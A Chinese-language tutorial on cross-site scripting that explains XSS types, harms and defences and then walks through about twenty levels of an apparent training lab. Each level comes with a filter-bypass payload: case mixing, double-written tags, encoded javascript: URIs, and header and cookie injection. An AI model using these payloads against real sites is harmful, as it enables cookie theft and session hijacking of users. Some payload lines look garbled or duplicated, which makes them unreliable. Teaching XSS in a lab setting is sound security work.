渗透测试 | Web安全中的XSS攻击详细教学(附通关教程)
字数 2420 2025-08-19 12:41:24
XSS攻击详细教学与实战通关指南
一、XSS漏洞原理
XSS(Cross Site Scripting)跨站脚本攻击,指攻击者往Web页面插入恶意脚本代码,当用户浏览时,嵌入Web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的。
XSS主要类型
- 存储型XSS(持久型):攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就会执行。
- 反射型XSS(非持久型):攻击者诱使用户点击一个链接,该链接将恶意脚本作为输入传递给服务器,然后服务器将这个脚本反射回用户的浏览器执行。
- DOM型(非持久型):通过修改页面的DOM节点形成的XSS。
二、XSS漏洞危害
- 盗取用户的cookie和其他敏感信息
- 会话劫持
- 身份冒充
- 进一步攻击的基础
三、XSS防御措施
- 输入验证:对用户输入进行严格的验证和过滤
- 输出编码:使用适当的编码方法(如HTML实体编码)转义特殊字符
- 内容安全策略(CSP):限制页面可以加载的资源来源
- HttpOnly标志:防止通过JavaScript访问cookie
四、XSS实战通关教程
第一关(URL传参)
- 注入点:URL中的name参数
- Payload:
?name=<script>alert()</script>
第二关(输入框注入)
- 分析:部分内容被转义
- Payload:
"><script>alert()</script><"
第三关(事件注入)
- 方法:使用onfocus事件
- Payload:
' onfocus=javascript:alert() ' - 触发方式:点击input框使其获得焦点
第四关(引号类型)
- 分析:外围是双引号
- Payload:
" onfocus=javascript:alert() "
第五关(a标签注入)
- 分析:script和onfocus被转换
- Payload:
"><a href="javascript:alert();">xx</a><"
第六关(大小写绕过)
- 方法:大小写混合绕过过滤
- Payload:
"><SCRIPT>alert()</SCRIPT><"" ONDOCUS=javascript:alert() ""> <a HREF=javascript:alert()>x</a> <"
第七关(双拼写绕过)
- 方法:双写关键字绕过
- Payload:
"><sscriptcript>alert()</sscriptcript><"
第八关(Unicode编码)
- 方法:对JavaScript伪协议进行Unicode编码
- 编码后的Payload:
javascript:alert()
第九关(指定字符绕过)
- 条件:参数必须包含"http://"
- Payload:
javascript:alert()/* <http://> */
第十关(属性修改)
- 方法:修改input的type属性
- Payload:
level10.php?t_sort=" onfocus="javascript:alert()" type="level10.php?t_sort=" onfocus="javascript:alert()" type="text
第十一关(Referer注入)
- 注入点:HTTP Referer头
- Payload:
" onfocus="javascript:alert()" type="text" "
第十二关(User-Agent注入)
- 注入点:User-Agent头
- Payload:
" onfocus="javascript:alert()" type="text" "
第十三关(Cookie注入)
- 注入点:Cookie
- Payload:
" onfocus="javascript:alert()" type="text" "
第十五关(iframe包含)
- 方法:包含其他关卡并注入
- Payload:
?src='/level1.php?name='
第十六关(回车%0a绕过)
- 方法:使用%0a(换行符)绕过
- Payload:
?keyword=<svg%0aonload=alert()>
第十七关(embed标签)
- 方法:使用onload事件
- Payload:
%20onload=alert()%20""
第十八关(双参空格)
- 注入点:第二个参数
- Payload:
/level18.php?arg02= onmousedown=alert()
第十九关(Flash XSS)
- 说明:现代浏览器已不支持Flash插件
第二十关(复杂payload)
- Payload:
?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123
五、常见XSS触发标签和事件
常用标签
<script>- ``
<a><input><svg><details><embed>
常用事件
onfocusonmouseoveronmousedownonloadonerror
六、总结
XSS攻击的核心在于将恶意脚本注入到网页中,防御的关键在于:
- 对所有用户输入进行严格过滤和验证
- 对输出到页面的内容进行适当的编码
- 使用安全策略限制脚本执行
- 保持安全意识,及时更新防护措施
通过本教程的实战演练,可以全面了解XSS攻击的各种形式和防御方法,为Web安全防护打下坚实基础。